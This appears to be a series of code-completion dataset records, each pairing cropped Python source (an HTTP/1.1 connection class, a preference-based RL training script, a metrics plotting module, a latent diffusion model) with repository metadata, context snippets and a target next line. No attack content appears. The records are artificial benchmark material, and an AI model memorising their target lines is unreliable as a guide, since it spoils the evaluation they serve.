self._get_io_object(self.our_role, None, WRITERS) self._reader = self._get_io_object(self.their_role, None, READERS) # Holds any unprocessed received data self._receive_buffer = ReceiveBuffer() # If this is true, then it indicates that the incoming connection was # closed *after* the end of whatever's in self._receive_buffer: self._receive_buffer_closed = False # Extra bits of state that don't fit into the state machine. # # These two are only used to interpret framing headers for figuring # out how to read/write response bodies. their_http_version is also # made available as a convenient public API. self.their_http_version: Optional[bytes] = None self._request_method: Optional[bytes] = None # This is pure flow-control and doesn't at all affect the set of legal # transitions, so no need to bother ConnectionState with it: self.client_is_waiting_for_100_continue = False @property def states(self) -> Dict[Type[Sentinel], Type[Sentinel]]: """A dictionary like:: {CLIENT: <client state>, SERVER: <server state>} See :ref:`state-machine` for details. """ return dict(self._cstate.states) @property def our_state(self) -> Type[Sentinel]: """The current state of whichever role we are playing. See :ref:`state-machine` for details. """ return self._cstate.states[self.our_role] @property def their_state(self) -> Type[Sentinel]: """The current state of whichever role we are NOT playing. See :ref:`state-machine` for details. """ return self._cstate.states[self.their_role] @property def they_are_waiting_for_100_continue(self) -> bool: return self.their_role is CLIENT and self.client_is_waiting_for_100_continue def start_next_cycle(self) -> None: """Attempt to reset our connection state for a new request/response cycle. If both client and server are in :data:`DONE` state, then resets them both to :data:`IDLE` state in preparation for a new request/response cycle on this same connection. Otherwise, raises a :exc:`LocalProtocolError`. See :ref:`keepalive-and-pipelining`. """ old_states = dict(self._cstate.states) self._cstate.start_next_cycle() self._request_method = None # self.their_http_version gets left alone, since it presumably lasts # beyond a single request/response cycle assert not self.client_is_waiting_for_100_continue self._respond_to_state_changes(old_states) def _process_error(self, role: Type[Sentinel]) -> None: old_states = dict(self._cstate.states) self._cstate.process_error(role) self._respond_to_state_changes(old_states) def _server_switch_event(self, event: Event) -> Optional[Type[Sentinel]]: if type(event) is InformationalResponse and event.status_code == 101: return _SWITCH_UPGRADE if type(event) is Response: if ( _SWITCH_CONNECT in self._cstate.pending_switch_proposals and 200 <= event.status_code < 300 ): return _SWITCH_CONNECT return None # All events go through here def _process_event(self, role: Type[Sentinel], event: Event) -> None: # First, pass the event through the state machine to make sure it # succeeds. old_states = dict(self._cstate.states) if role is CLIENT and type(event) is Request: if event.method == b"CONNECT": self._cstate.process_client_switch_proposal(_SWITCH_CONNECT) if get_comma_header(event.headers, b"upgrade"): self._cstate.process_client_switch_proposal(_SWITCH_UPGRADE) server_switch_event = None if role is SERVER: server_switch_event = self._server_switch_event(event) self._cstate.process_event(role, type(event), server_switch_event) # Then perform the updates triggered by it. if type(event) is Request: self._request_method = event.method if role is self.their_role and type(event) in ( Request, Response, InformationalResponse, ): event = cast(Union[Request, Response, InformationalResponse], event) self.their_http_version = event.http_version # Keep alive handling # # RFC 7230 doesn't really say what one should do if Connection: close # shows up on a 1xx InformationalResponse. I think the idea is that # this is not supposed to happen. In any case, if it does happen, we # ignore it. if type(event) in (Request, Response) and not _keep_alive( cast(Union[Request, Response], event) ): self._cstate.process_keep_alive_disabled() # 100-continue if type(event) is Request and has_expect_100_continue(event): self.client_is_waiting_for_100_continue = True if type(event) in (InformationalResponse, Response): self.client_is_waiting_for_100_continue = False if role is CLIENT and type(event) in (Data, EndOfMessage): self.client_is_waiting_for_100_continue = False self._respond_to_state_changes(old_states, event) def _get_io_object( self, role: Type[Sentinel], event: Optional[Event], io_dict: Union[ReadersType, WritersType], ) -> Optional[Callable[..., Any]]: # event may be None; it's only used when entering SEND_BODY state = self._cstate.states[role] if state is SEND_BODY: # Special case: the io_dict has a dict of reader/writer factories # that depend on the request/response framing. framing_type, args = _body_framing( cast(bytes, self._request_method), cast(Union[Request, Response], event) ) return io_dict[SEND_BODY][framing_type](*args) # type: ignore[index] else: # General case: the io_dict just has the appropriate reader/writer # for this state return io_dict.get((role, state)) # type: ignore[return-value] # This must be called after any action that might have caused # self._cstate.states to change. def _respond_to_state_changes( self, old_states: Dict[Type[Sentinel], Type[Sentinel]], event: Optional[Event] = None, ) -> None: # Update reader/writer if self.our_state != old_states[self.our_role]: self._writer = self._get_io_object(self.our_role, event, WRITERS) if self.their_state != old_states[self.their_role]: self._reader = self._get_io_object(self.their_role, event, READERS) @property def trailing_data(self) -> Tuple[bytes, bool]: """Data that has been received, but not yet processed, represented as a tuple with two elements, where the first is a byte-string containing the unprocessed data itself, and the second is a bool that is True if the receive connection was closed. See :ref:`switching-protocols` for discussion of why you'd want this. """ return (bytes(self._receive_buffer), self._receive_buffer_closed) def receive_data(self, data: bytes) -> None: """Add data to our internal receive buffer. This does not actually do any processing on the data, just stores it. To trigger processing, you have to call :meth:`next_event`. Args: data (:term:`bytes-like object`): The new data that was just received. Special case: If *data* is an empty byte-string like ``b""``, then this indicates that the remote side has closed the connection (end of file). Normally this is convenient, because standard Python APIs like :meth:`file.read` or :meth:`socket.recv` use ``b""`` to indicate end-of-file, while other failures to read are indicated using other mechanisms like raising :exc:`TimeoutError`. When using such an API you can just blindly pass through whatever you get from ``read`` to :meth:`receive_data`, and everything will work. But, if you have an API where reading an empty string is a valid non-EOF condition, then you need to be aware of this and make sure to check for such strings and avoid passing them to :meth:`receive_data`. Returns: Nothing, but after calling this you should call :meth:`next_event` to parse the newly received data. Raises: RuntimeError: Raised if you pass an empty *data*, indicating EOF, and then pass a non-empty *data*, indicating more data that somehow arrived after the EOF. (Calling ``receive_data(b"")`` multiple times is fine, and equivalent to calling it once.) """ if data: if self._receive_buffer_closed: raise RuntimeError("received close, then received more data?") self._receive_buffer += data else: self._receive_buffer_closed = True def _extract_next_receive_event( self, ) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: state = self.their_state # We don't pause immediately when they enter DONE, because even in # DONE state we can still process a ConnectionClosed() event. But # if we have data in our buffer, then we definitely aren't getting # a ConnectionClosed() immediately and we need to pause. if state is DONE and self._receive_buffer: return PAUSED if state is MIGHT_SWITCH_PROTOCOL or state is SWITCHED_PROTOCOL: return PAUSED assert self._reader is not None event = self._reader(self._receive_buffer) if event is None: if not self._receive_buffer and self._receive_buffer_closed: # In some unusual cases (basically just HTTP/1.0 bodies), EOF # triggers an actual protocol event; in that case, we want to # return that event, and then the state will change and we'll # get called again to generate the actual ConnectionClosed(). if hasattr(self._reader, "read_eof"): event = self._reader.read_eof() # type: ignore[attr-defined] else: event = ConnectionClosed() if event is None: event = NEED_DATA return event # type: ignore[no-any-return] def next_event(self) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: """Parse the next event out of our receive buffer, update our internal state, and return it. This is a mutating operation -- think of it like calling :func:`next` on an iterator. Returns: : One of three things: 1) An event object -- see :ref:`events`. 2) The special constant :data:`NEED_DATA`, which indicates that you need to read more data from your socket and pass it to :meth:`receive_data` before this method will be able to return any more events. 3) The special constant :data:`PAUSED`, which indicates that we are not in a state where we can process incoming data (usually because the peer has finished their part of the current request/response cycle, and you have not yet called :meth:`start_next_cycle`). See :ref:`flow-control` for details. Raises: RemoteProtocolError: The peer has misbehaved. You should close the connection (possibly after sending some kind of 4xx response). Once this method returns :class:`ConnectionClosed` once, then all subsequent calls will also return :class:`ConnectionClosed`. If this method raises any exception besides :exc:`RemoteProtocolError` then that's a bug -- if it happens please file a bug report! If this method raises any exception then it also sets :attr:`Connection.their_state` to :data:`ERROR` -- see :ref:`error-handling` for discussion. """ if self.their_state is ERROR:
raise RemoteProtocolError("Can't receive data when peer state is ERROR")
23
2023-10-14 12:02:59+00:00
12k
snu-mllab/DPPO
train.py
[ { "identifier": "evaluate", "path": "evaluation.py", "snippet": "def evaluate(agent: nn.Module, env: gym.Env,\n num_episodes: int) -> Dict[str, float]:\n stats = {'return': [], 'length': [], 'success': []}\n\n # for _ in trange(num_episodes, desc='evaluation', leave=False):\n for _ ...
import datetime import os import pickle import gym import numpy as np import absl import wrappers from typing import Tuple from evaluation import evaluate from learner import Learner from viskit.logging import logger, setup_logger from JaxPref.utils import WandBLogger, define_flags_with_default, get_user_flags, \ set_random_seed, Timer, prefix_metrics from JaxPref.dataset_utils import PrefD4RLDataset from JaxPref.PrefTransformer import PrefTransformer
7,297
tqdm=True, eval_episodes=10, log_interval=1000, eval_interval=5000, batch_size=256, max_steps=int(1e6), model_type="PrefTransformer", comment="base", seq_len=100, min_seq_len=0, dropout=0.0, lambd=1.0, dist_temperature=0.1, logging=WandBLogger.get_default_config(), # params for loading preference transformer ckpt_base_dir="./logs/pref", ckpt_type="last", pref_comment="base", transformer=PrefTransformer.get_default_config(), smooth_sigma=0.0, smooth_in=True, ) FLAGS = absl.flags.FLAGS def initialize_model(pref_comment): ckpt_dir = os.path.join(FLAGS.ckpt_base_dir, FLAGS.env_name, FLAGS.model_type, pref_comment, f"s{FLAGS.seed}") if FLAGS.ckpt_type == "best": model_path = os.path.join(ckpt_dir, "best_model.pkl") elif FLAGS.ckpt_type == "last": model_path = os.path.join(ckpt_dir, "model.pkl") else: raise NotImplementedError print("Loading score model from", model_path) with open(model_path, "rb") as f: ckpt = pickle.load(f) reward_model = ckpt['reward_model'] return reward_model def make_env_and_dataset(env_name: str, seed: int, pref_comment: str, ) -> Tuple[gym.Env, PrefD4RLDataset]: env = gym.make(env_name) env = wrappers.EpisodeMonitor(env) env = wrappers.SinglePrecision(env) env.seed(seed) env.action_space.seed(seed) env.observation_space.seed(seed) reward_model = initialize_model(pref_comment) dataset = PrefD4RLDataset( env=env, seq_len=FLAGS.seq_len, min_seq_len=FLAGS.min_seq_len, reward_model=reward_model, ) return env, dataset def main(_): VARIANT = get_user_flags(FLAGS, FLAGS_DEF) FLAGS.logging.output_dir = os.path.join(FLAGS.logging.output_dir, "policy") FLAGS.logging.group = "".join([s[0] for j, s in enumerate(FLAGS.env_name.split("-")) if j <= 2]) pref_comment = FLAGS.pref_comment if FLAGS.smooth_sigma > 0: pref_comment += f"_sm{FLAGS.smooth_sigma:.1f}_{FLAGS.transformer.smooth_w:.1f}" comment = FLAGS.comment comment += f"_lam{FLAGS.lambd:.2f}" if FLAGS.dropout > 0: comment += f"_do{FLAGS.dropout:.1f}" comment = "_".join([pref_comment, comment]) FLAGS.logging.group += f"_{comment}" FLAGS.logging.experiment_id = FLAGS.logging.group + f"_s{FLAGS.seed}" save_dir = os.path.join(FLAGS.logging.output_dir, FLAGS.env_name, FLAGS.model_type, comment, f"s{FLAGS.seed}") setup_logger( variant=VARIANT, seed=FLAGS.seed, base_log_dir=save_dir, include_exp_prefix_sub_dir=False ) FLAGS.logging.output_dir = save_dir wb_logger = WandBLogger(FLAGS.logging, variant=VARIANT) set_random_seed(int(FLAGS.seed)) env, dataset = make_env_and_dataset(FLAGS.env_name, FLAGS.seed, pref_comment) agent = Learner(FLAGS.seed, env.observation_space.sample()[np.newaxis], env.action_space.sample()[np.newaxis], max_steps=FLAGS.max_steps, lambd=FLAGS.lambd, dist_temperature=FLAGS.dist_temperature, dropout_rate=FLAGS.dropout if (FLAGS.dropout > 0) else None, ) for i in range(FLAGS.max_steps + 1): metrics = dict() metrics["step"] = i with Timer() as timer: batch = dataset.sample(FLAGS.batch_size)
os.environ['XLA_PYTHON_CLIENT_MEM_FRACTION'] = '.50' FLAGS_DEF = define_flags_with_default( env_name='halfcheetah-medium-v2', seed=42, tqdm=True, eval_episodes=10, log_interval=1000, eval_interval=5000, batch_size=256, max_steps=int(1e6), model_type="PrefTransformer", comment="base", seq_len=100, min_seq_len=0, dropout=0.0, lambd=1.0, dist_temperature=0.1, logging=WandBLogger.get_default_config(), # params for loading preference transformer ckpt_base_dir="./logs/pref", ckpt_type="last", pref_comment="base", transformer=PrefTransformer.get_default_config(), smooth_sigma=0.0, smooth_in=True, ) FLAGS = absl.flags.FLAGS def initialize_model(pref_comment): ckpt_dir = os.path.join(FLAGS.ckpt_base_dir, FLAGS.env_name, FLAGS.model_type, pref_comment, f"s{FLAGS.seed}") if FLAGS.ckpt_type == "best": model_path = os.path.join(ckpt_dir, "best_model.pkl") elif FLAGS.ckpt_type == "last": model_path = os.path.join(ckpt_dir, "model.pkl") else: raise NotImplementedError print("Loading score model from", model_path) with open(model_path, "rb") as f: ckpt = pickle.load(f) reward_model = ckpt['reward_model'] return reward_model def make_env_and_dataset(env_name: str, seed: int, pref_comment: str, ) -> Tuple[gym.Env, PrefD4RLDataset]: env = gym.make(env_name) env = wrappers.EpisodeMonitor(env) env = wrappers.SinglePrecision(env) env.seed(seed) env.action_space.seed(seed) env.observation_space.seed(seed) reward_model = initialize_model(pref_comment) dataset = PrefD4RLDataset( env=env, seq_len=FLAGS.seq_len, min_seq_len=FLAGS.min_seq_len, reward_model=reward_model, ) return env, dataset def main(_): VARIANT = get_user_flags(FLAGS, FLAGS_DEF) FLAGS.logging.output_dir = os.path.join(FLAGS.logging.output_dir, "policy") FLAGS.logging.group = "".join([s[0] for j, s in enumerate(FLAGS.env_name.split("-")) if j <= 2]) pref_comment = FLAGS.pref_comment if FLAGS.smooth_sigma > 0: pref_comment += f"_sm{FLAGS.smooth_sigma:.1f}_{FLAGS.transformer.smooth_w:.1f}" comment = FLAGS.comment comment += f"_lam{FLAGS.lambd:.2f}" if FLAGS.dropout > 0: comment += f"_do{FLAGS.dropout:.1f}" comment = "_".join([pref_comment, comment]) FLAGS.logging.group += f"_{comment}" FLAGS.logging.experiment_id = FLAGS.logging.group + f"_s{FLAGS.seed}" save_dir = os.path.join(FLAGS.logging.output_dir, FLAGS.env_name, FLAGS.model_type, comment, f"s{FLAGS.seed}") setup_logger( variant=VARIANT, seed=FLAGS.seed, base_log_dir=save_dir, include_exp_prefix_sub_dir=False ) FLAGS.logging.output_dir = save_dir wb_logger = WandBLogger(FLAGS.logging, variant=VARIANT) set_random_seed(int(FLAGS.seed)) env, dataset = make_env_and_dataset(FLAGS.env_name, FLAGS.seed, pref_comment) agent = Learner(FLAGS.seed, env.observation_space.sample()[np.newaxis], env.action_space.sample()[np.newaxis], max_steps=FLAGS.max_steps, lambd=FLAGS.lambd, dist_temperature=FLAGS.dist_temperature, dropout_rate=FLAGS.dropout if (FLAGS.dropout > 0) else None, ) for i in range(FLAGS.max_steps + 1): metrics = dict() metrics["step"] = i with Timer() as timer: batch = dataset.sample(FLAGS.batch_size)
train_info = prefix_metrics(agent.update(batch), 'train')
8
2023-10-08 13:41:43+00:00
12k
edong6768/Malet
src/malet/plot.py
[ { "identifier": "Experiment", "path": "src/malet/experiment.py", "snippet": "class Experiment:\n '''\n Executes experiments according to experiment configs\n \n Following is supported\n - Provides 2 methods parallel friedly experiments scheduling (can choose with bash arguments).\n - (plan split...
import os import re import yaml import matplotlib.pyplot as plt import matplotlib.style as style import seaborn as sns from functools import partial from itertools import product from absl import app, flags from ml_collections import ConfigDict from .experiment import Experiment, ExperimentLog from .utils import str2value, df2richtable from rich import print from rich.panel import Panel from rich.columns import Columns from rich.align import Align from .plot_utils.metric_drawer import * from .plot_utils.utils import *
7,494
FLAGS = flags.FLAGS def get_plot_config(plot_config: dict, plot_args: dict): assert plot_args['mode'] in plot_config, f'Mode: {plot_args["mode"]} does not exist.' alias_mode = ('-' not in plot_args['mode']) p_cfg = plot_config[plot_args['mode']] if alias_mode: p_cfg_base = plot_config.get(p_cfg['mode'], dict()) p_cfg_base = merge_dict(p_cfg_base, plot_args) p_cfg_base = merge_dict(p_cfg_base, plot_config['default_style']) return merge_dict(p_cfg, p_cfg_base) else: return {**plot_args, **p_cfg} def draw_metric(tsv_file, plot_config, save_name='', preprcs_df=lambda *x: x): pcfg = plot_config # parse mode string mode, x_fields, metric = pcfg['mode'].split('-') # ex) {sam}-{epoch}-{train_loss} x_fields = x_fields.split(' ') pflt, pmlf = map(pcfg.get, ['filter', 'multi_line_fields']) # choose plot mode if mode=='curve': assert len(x_fields)==1, f'Number of x_fields shoud be 1 when using curve mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_curve y_label = metric.replace('_', ' ').capitalize() elif mode=='bar': assert len(x_fields)==1, f'Number of x_fields shoud be 1 when using bar mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_bar y_label = metric.replace('_', ' ').capitalize() elif mode=='heatmap': assert len(x_fields)==2, f'Number of x_fields shoud be 2 when using heatmap mode, but you passed {len(x_fields)}.' assert not pmlf, f'No multi_line_fieldss are allowed in heatmap mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_heatmap y_label = x_fields[1].replace('_', ' ').capitalize() # get dataframe, drop unused metrics for efficient process pai_history = ExperimentLog.from_tsv(tsv_file) if 'metric' not in pmlf and 'metric' not in x_fields: pai_history.df = pai_history.df.drop(list(set(pai_history.df)-{metric, pcfg['best_ref_metric_field']}), axis=1) df = pai_history.explode_and_melt_metric(epoch=None if 'epoch' not in x_fields else -1) base_config = ConfigDict(pai_history.static_configs) #---filter df according to FLAGS.filter if pflt: save_name += pflt.replace(' / ', '-').replace(' ', '_') filt_dict = map(lambda flt: re.split('(?<!,) ', flt.strip()), pflt.split('/')) # split ' ' except ', ' df = select_df(df, {fk:[*map(str2value, fvs)] for fk, *fvs in filt_dict}) #---set mlines according to FLAGS.multi_line_fields if pmlf: save_name = '-'.join([*pmlf, save_name]) mlines = [sorted(set(df.index.get_level_values(f)), key=str2value) for f in pmlf] mlines = product(*mlines) else: pmlf, mlines = ['metric'], [[metric]] pcfg['ax_style'].pop('legend', None) #---preprocess best_ref_x_fields, enter other configs in save name pcfg['best_ref_x_fields'] = [*map(str2value, pcfg['best_ref_x_fields'])] if any([pcfg[f'best_ref_{k}'] for k in ['x_fields', 'metric_field', 'ml_fields']]): save_name += f"-({pcfg['best_ref_x_fields']}, {pcfg['best_ref_metric_field']}, {pcfg['best_ref_ml_fields']})" save_name += "-max" if pcfg['best_at_max'] else "-min" best_over = set(df.index.names) - {*x_fields, 'metric', 'seed', *pmlf} best_at_max = pcfg['best_at_max'] if 'epoch' in x_fields: i = x_fields.index('epoch') if 'num_epochs' in base_config: pcfg['best_ref_x_fields'][i]=base_config.num_epochs-1 elif 'num_epochs' in df.index.names: pcfg['best_ref_x_fields'][i]=min(*df.index.get_level_values('num_epochs'))-1 # Notify selected plot configs and field handling statistics specified_field = {k for k in best_over if len(set(df.index.get_level_values(k)))==1} print('\n\n', Align( Columns( [Panel('\n'.join([f'- {k}: {pcfg[k]}' for k in ('mode', 'multi_line_fields', 'filter', 'best_at_max', 'best_ref_x_fields', 'best_ref_metric_field', 'best_ref_ml_fields') if pcfg[k]]), title='Plot configuration', padding=(1, 3)), Panel(f"- Key field (has multiple values): {[*x_fields, *pmlf]} (2)\n" + \ f"- Specified field: {(spf:=[*specified_field, 'metric'])} ({len(spf)})\n"+ \ f"- Averaged field: {['seed']} (1)\n" + \ f"- Optimized field: {(opf:=list(best_over-specified_field))} ({len(opf)})", title='Field handling statistics', padding=(1, 3))] ), align='center' )) ############################# Prepare dataframe ############################# best_of = {} if pcfg['best_ref_x_fields']: # same hyperparameter over all points in line best_of.update(dict([*zip(x_fields, pcfg['best_ref_x_fields'])])) if pcfg['best_ref_metric_field']: # Optimize in terms of reference metric, and apply those hyperparameters to original best_of['metric'] = pcfg['best_ref_metric_field'] if pcfg['best_ref_ml_fields']: # same hyperparameter over all line in multi_line_fields best_of.update(dict([*zip(pmlf, pcfg['best_ref_ml_fields'])])) # change field name and avg over seed and get best result over best_over best_df = avgbest_df(df, 'metric_value', avg_over='seed', best_over=best_over, best_of=best_of, best_at_max=best_at_max)
FLAGS = flags.FLAGS def get_plot_config(plot_config: dict, plot_args: dict): assert plot_args['mode'] in plot_config, f'Mode: {plot_args["mode"]} does not exist.' alias_mode = ('-' not in plot_args['mode']) p_cfg = plot_config[plot_args['mode']] if alias_mode: p_cfg_base = plot_config.get(p_cfg['mode'], dict()) p_cfg_base = merge_dict(p_cfg_base, plot_args) p_cfg_base = merge_dict(p_cfg_base, plot_config['default_style']) return merge_dict(p_cfg, p_cfg_base) else: return {**plot_args, **p_cfg} def draw_metric(tsv_file, plot_config, save_name='', preprcs_df=lambda *x: x): pcfg = plot_config # parse mode string mode, x_fields, metric = pcfg['mode'].split('-') # ex) {sam}-{epoch}-{train_loss} x_fields = x_fields.split(' ') pflt, pmlf = map(pcfg.get, ['filter', 'multi_line_fields']) # choose plot mode if mode=='curve': assert len(x_fields)==1, f'Number of x_fields shoud be 1 when using curve mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_curve y_label = metric.replace('_', ' ').capitalize() elif mode=='bar': assert len(x_fields)==1, f'Number of x_fields shoud be 1 when using bar mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_bar y_label = metric.replace('_', ' ').capitalize() elif mode=='heatmap': assert len(x_fields)==2, f'Number of x_fields shoud be 2 when using heatmap mode, but you passed {len(x_fields)}.' assert not pmlf, f'No multi_line_fieldss are allowed in heatmap mode, but you passed {len(x_fields)}.' ax_draw = ax_draw_heatmap y_label = x_fields[1].replace('_', ' ').capitalize() # get dataframe, drop unused metrics for efficient process pai_history = ExperimentLog.from_tsv(tsv_file) if 'metric' not in pmlf and 'metric' not in x_fields: pai_history.df = pai_history.df.drop(list(set(pai_history.df)-{metric, pcfg['best_ref_metric_field']}), axis=1) df = pai_history.explode_and_melt_metric(epoch=None if 'epoch' not in x_fields else -1) base_config = ConfigDict(pai_history.static_configs) #---filter df according to FLAGS.filter if pflt: save_name += pflt.replace(' / ', '-').replace(' ', '_') filt_dict = map(lambda flt: re.split('(?<!,) ', flt.strip()), pflt.split('/')) # split ' ' except ', ' df = select_df(df, {fk:[*map(str2value, fvs)] for fk, *fvs in filt_dict}) #---set mlines according to FLAGS.multi_line_fields if pmlf: save_name = '-'.join([*pmlf, save_name]) mlines = [sorted(set(df.index.get_level_values(f)), key=str2value) for f in pmlf] mlines = product(*mlines) else: pmlf, mlines = ['metric'], [[metric]] pcfg['ax_style'].pop('legend', None) #---preprocess best_ref_x_fields, enter other configs in save name pcfg['best_ref_x_fields'] = [*map(str2value, pcfg['best_ref_x_fields'])] if any([pcfg[f'best_ref_{k}'] for k in ['x_fields', 'metric_field', 'ml_fields']]): save_name += f"-({pcfg['best_ref_x_fields']}, {pcfg['best_ref_metric_field']}, {pcfg['best_ref_ml_fields']})" save_name += "-max" if pcfg['best_at_max'] else "-min" best_over = set(df.index.names) - {*x_fields, 'metric', 'seed', *pmlf} best_at_max = pcfg['best_at_max'] if 'epoch' in x_fields: i = x_fields.index('epoch') if 'num_epochs' in base_config: pcfg['best_ref_x_fields'][i]=base_config.num_epochs-1 elif 'num_epochs' in df.index.names: pcfg['best_ref_x_fields'][i]=min(*df.index.get_level_values('num_epochs'))-1 # Notify selected plot configs and field handling statistics specified_field = {k for k in best_over if len(set(df.index.get_level_values(k)))==1} print('\n\n', Align( Columns( [Panel('\n'.join([f'- {k}: {pcfg[k]}' for k in ('mode', 'multi_line_fields', 'filter', 'best_at_max', 'best_ref_x_fields', 'best_ref_metric_field', 'best_ref_ml_fields') if pcfg[k]]), title='Plot configuration', padding=(1, 3)), Panel(f"- Key field (has multiple values): {[*x_fields, *pmlf]} (2)\n" + \ f"- Specified field: {(spf:=[*specified_field, 'metric'])} ({len(spf)})\n"+ \ f"- Averaged field: {['seed']} (1)\n" + \ f"- Optimized field: {(opf:=list(best_over-specified_field))} ({len(opf)})", title='Field handling statistics', padding=(1, 3))] ), align='center' )) ############################# Prepare dataframe ############################# best_of = {} if pcfg['best_ref_x_fields']: # same hyperparameter over all points in line best_of.update(dict([*zip(x_fields, pcfg['best_ref_x_fields'])])) if pcfg['best_ref_metric_field']: # Optimize in terms of reference metric, and apply those hyperparameters to original best_of['metric'] = pcfg['best_ref_metric_field'] if pcfg['best_ref_ml_fields']: # same hyperparameter over all line in multi_line_fields best_of.update(dict([*zip(pmlf, pcfg['best_ref_ml_fields'])])) # change field name and avg over seed and get best result over best_over best_df = avgbest_df(df, 'metric_value', avg_over='seed', best_over=best_over, best_of=best_of, best_at_max=best_at_max)
print('\n', Align(df2richtable(best_df), align='center'))
3
2023-10-08 22:29:59+00:00
12k
ThomasMrY/DisDiff
ldm/models/diffusion/ddpm_kl.py
[ { "identifier": "log_txt_as_img", "path": "ldm/util.py", "snippet": "def log_txt_as_img(wh, xc, size=10):\n # wh a tuple of (width, height)\n # xc a list of captions to plot\n b = len(xc)\n txts = list()\n for bi in range(b):\n txt = Image.new(\"RGB\", wh, color=\"white\")\n ...
import torch import torch.nn as nn import numpy as np import torch.nn.functional as F import pytorch_lightning as pl import copy import os import pandas as pd from torch.optim.lr_scheduler import LambdaLR from einops import rearrange, repeat from contextlib import contextmanager from functools import partial from tqdm import tqdm from torchvision.utils import make_grid from pytorch_lightning.utilities.distributed import rank_zero_only from ldm.util import log_txt_as_img, exists, default, ismap, isimage, mean_flat, count_params, instantiate_from_config from ldm.modules.ema import LitEma from ldm.modules.distributions.distributions import normal_kl, DiagonalGaussianDistribution from ldm.models.autoencoder import VQModelInterface, IdentityFirstStage, AutoencoderKL from ldm.modules.diffusionmodules.util import make_beta_schedule, extract_into_tensor, noise_like from ldm.models.diffusion.ddim import DDIMSampler from ldm.modules.diffusionmodules.util import return_wrap
9,908
self.v_posterior = v_posterior self.original_elbo_weight = original_elbo_weight self.l_simple_weight = l_simple_weight if monitor is not None: self.monitor = monitor if ckpt_path is not None: self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys, only_model=load_only_unet) self.register_schedule(given_betas=given_betas, beta_schedule=beta_schedule, timesteps=timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) self.loss_type = loss_type self.learn_logvar = learn_logvar self.logvar = torch.full(fill_value=logvar_init, size=(self.num_timesteps,)) self.ce_loss = nn.CrossEntropyLoss(reduction = "none") if self.learn_logvar: self.logvar = nn.Parameter(self.logvar, requires_grad=True) def register_schedule(self, given_betas=None, beta_schedule="linear", timesteps=1000, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3): if exists(given_betas): betas = given_betas else: betas = make_beta_schedule(beta_schedule, timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) alphas = 1. - betas alphas_cumprod = np.cumprod(alphas, axis=0) alphas_cumprod_prev = np.append(1., alphas_cumprod[:-1]) timesteps, = betas.shape self.num_timesteps = int(timesteps) self.linear_start = linear_start self.linear_end = linear_end assert alphas_cumprod.shape[0] == self.num_timesteps, 'alphas have to be defined for each timestep' to_torch = partial(torch.tensor, dtype=torch.float32) self.register_buffer('betas', to_torch(betas)) self.register_buffer('alphas_cumprod', to_torch(alphas_cumprod)) self.register_buffer('alphas_cumprod_prev', to_torch(alphas_cumprod_prev)) # calculations for diffusion q(x_t | x_{t-1}) and others self.register_buffer('sqrt_alphas_cumprod', to_torch(np.sqrt(alphas_cumprod))) self.register_buffer('sqrt_one_minus_alphas_cumprod', to_torch(np.sqrt(1. - alphas_cumprod))) self.register_buffer('log_one_minus_alphas_cumprod', to_torch(np.log(1. - alphas_cumprod))) self.register_buffer('sqrt_recip_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod))) self.register_buffer('sqrt_recipm1_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod - 1))) # calculations for posterior q(x_{t-1} | x_t, x_0) posterior_variance = (1 - self.v_posterior) * betas * (1. - alphas_cumprod_prev) / ( 1. - alphas_cumprod) + self.v_posterior * betas # above: equal to 1. / (1. / (1. - alpha_cumprod_tm1) + alpha_t / beta_t) self.register_buffer('posterior_variance', to_torch(posterior_variance)) # below: log calculation clipped because the posterior variance is 0 at the beginning of the diffusion chain self.register_buffer('posterior_log_variance_clipped', to_torch(np.log(np.maximum(posterior_variance, 1e-20)))) self.register_buffer('posterior_mean_coef1', to_torch( betas * np.sqrt(alphas_cumprod_prev) / (1. - alphas_cumprod))) self.register_buffer('posterior_mean_coef2', to_torch( (1. - alphas_cumprod_prev) * np.sqrt(alphas) / (1. - alphas_cumprod))) self.register_buffer("shift_coef", - to_torch(np.sqrt(alphas)) * (1. - self.alphas_cumprod_prev) / torch.sqrt(1. - self.alphas_cumprod)) self.register_buffer("ddim_coef", -self.sqrt_one_minus_alphas_cumprod) if self.parameterization == "eps": lvlb_weights = self.betas ** 2 / ( 2 * self.posterior_variance * to_torch(alphas) * (1 - self.alphas_cumprod)) elif self.parameterization == "x0": lvlb_weights = 0.5 * np.sqrt(torch.Tensor(alphas_cumprod)) / (2. * 1 - torch.Tensor(alphas_cumprod)) else: raise NotImplementedError("mu not supported") # TODO how to choose this term lvlb_weights[0] = lvlb_weights[1] self.register_buffer('lvlb_weights', lvlb_weights, persistent=False) assert not torch.isnan(self.lvlb_weights).all() @contextmanager def ema_scope(self, context=None): if self.use_ema: self.model_ema.store(self.model.parameters()) self.model_ema.copy_to(self.model) if context is not None: print(f"{context}: Switched to EMA weights") try: yield None finally: if self.use_ema: self.model_ema.restore(self.model.parameters()) if context is not None: print(f"{context}: Restored training weights") def init_from_ckpt(self, path, ignore_keys=list(), only_model=False): sd = torch.load(path, map_location="cpu") self.load_epoch = sd['epoch'] self.load_step = sd["global_step"] if "state_dict" in list(sd.keys()): sd = sd["state_dict"] keys = list(sd.keys()) for k in keys: for ik in ignore_keys: if k.startswith(ik): print("Deleting key {} from state_dict.".format(k)) del sd[k] missing, unexpected = self.load_state_dict(sd, strict=False) if not only_model else self.model.load_state_dict( sd, strict=False) print(f"Restored from {path} with {len(missing)} missing and {len(unexpected)} unexpected keys") if len(missing) > 0: print(f"Missing Keys: {missing}") if len(unexpected) > 0: print(f"Unexpected Keys: {unexpected}") def q_mean_variance(self, x_start, t): """ Get the distribution q(x_t | x_0). :param x_start: the [N x C x ...] tensor of noiseless inputs. :param t: the number of diffusion steps (minus 1). Here, 0 means one step. :return: A tuple (mean, variance, log_variance), all of x_start's shape. """
